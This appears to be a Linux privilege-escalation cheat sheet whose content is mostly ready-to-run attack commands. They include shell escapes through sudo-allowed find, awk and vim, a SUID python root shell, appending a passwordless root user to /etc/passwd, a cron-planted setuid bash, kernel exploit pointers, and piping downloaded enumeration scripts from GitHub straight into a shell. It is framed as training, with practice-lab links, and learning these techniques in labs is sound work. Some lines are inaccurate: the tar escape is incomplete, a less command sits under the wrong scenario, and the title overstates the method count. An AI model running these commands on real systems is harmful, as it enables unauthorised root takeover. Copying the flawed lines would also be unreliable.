Linux Privilege Escalation – 30+ Methods

Step 0: Initial Recon (5 min)

Before blindly throwing exploits, understand the environment you landed in.

# What user am I? What groups do I belong to?
id
whoami

# What is the OS and Kernel version? (Crucial for Kernel Exploits)
uname -a
cat /etc/os-release

# What commands can I run as root without a password?
sudo -l

# What is running in the background?
ps auxf
systemctl list-units --type=service

# Are there any hidden files in home directories?
ls -la /home/*/

1. Sudo Misconfigurations

If sudo -l shows that your user can run a specific binary as root without a password, you can often break out of that binary to spawn a root shell.

# Scenario: You can run 'find' as root
sudo find / -exec /bin/sh \; -quit

# Scenario: You can run 'awk' as root
sudo awk 'BEGIN { system("/bin/sh") }'

# Scenario: You can run 'tar' as root
sudo tar --checkpoint-action=exec=id

# Scenario: You can run 'vim' or 'nano' as root
sudo vim /etc/passwd  # Edit the password file and add a new root user!
sudo less /etc/shadow # Type !bash while in less to drop into a root shell

2. SUID & SGID Binaries

SUID (Set Owner User ID) is a permission bit that allows a user to execute a file with the permissions of the file's owner (usually root). If a vulnerable binary has the SUID bit set, it's an easy path to root.

# Find all files with the SUID bit set:
find / -perm -4000 -type f 2>/dev/null

# Example output: /usr/bin/python3
# If Python has SUID set, you can execute a shell as root:
/usr/bin/python3 -c 'import os; os.execl("/bin/sh","sh","-c","id")'

# Find all files with SGID bit set:
find / -perm -2000 -type f 2>/dev/null

3. World-Writable Files, Directories, and Cron Jobs

A sloppy sysadmin might leave sensitive files open to everyone, or schedule tasks that execute world-writable scripts.

Writable /etc/passwd

# If /etc/passwd is writable, you can add a new root user:
# Format: username:password_hash:UID:GID:info:home:shell
echo "pwned::0:0::/root:/bin/bash" >> /etc/passwd
su pwned

Vulnerable Cron Jobs

# View scheduled tasks
cat /etc/crontab

# If a cron job runs a script as root, and you have write access to that script:
echo "/bin/sh -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'" > /path/to/writable/script.sh
# Wait for the cron job to run, then execute: /tmp/rootbash -p

4. Kernel Exploits

If the system hasn't been updated, the Kernel itself might be vulnerable. Use this as a last resort, as kernel exploits can crash the server (Kernel Panic).

• Dirty COW (CVE-2016-5195): Affects kernels 2.6.22 - 4.8.3.
• Dirty Pipe (CVE-2022-0847): Affects kernels 5.8 - 5.16.11. Allows overwriting data in read-only files (like /etc/passwd).
• PwnKit (CVE-2021-4034): A flaw in polkit. Affects almost all major Linux distributions if not patched.

# Example: Checking for PwnKit vulnerability
pkexec --version
# If vulnerable, download the C exploit, compile with gcc, and run.

Automated Enumeration Tools

Instead of running manual checks, use automation scripts to highlight vulnerabilities in color-coded output.

LinPEAS (Linux Privilege Escalation Awesome Script)

# Download and execute LinPEAS directly in memory
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Linux Smart Enumeration (LSE)

curl -L https://raw.githubusercontent.com/diego-trejo/Linux-SMART-Enumeration/master/lse.sh | bash

Practice Lab

To practice these techniques safely, use the following free resources:

• TryHackMe: Linux Privilege Escalation — An interactive, browser-based VM designed specifically to teach these exact techniques.
• VulnHub — Download VMs like "Kioptrix" or "Stapler" to practice in your own VirtualBox environment.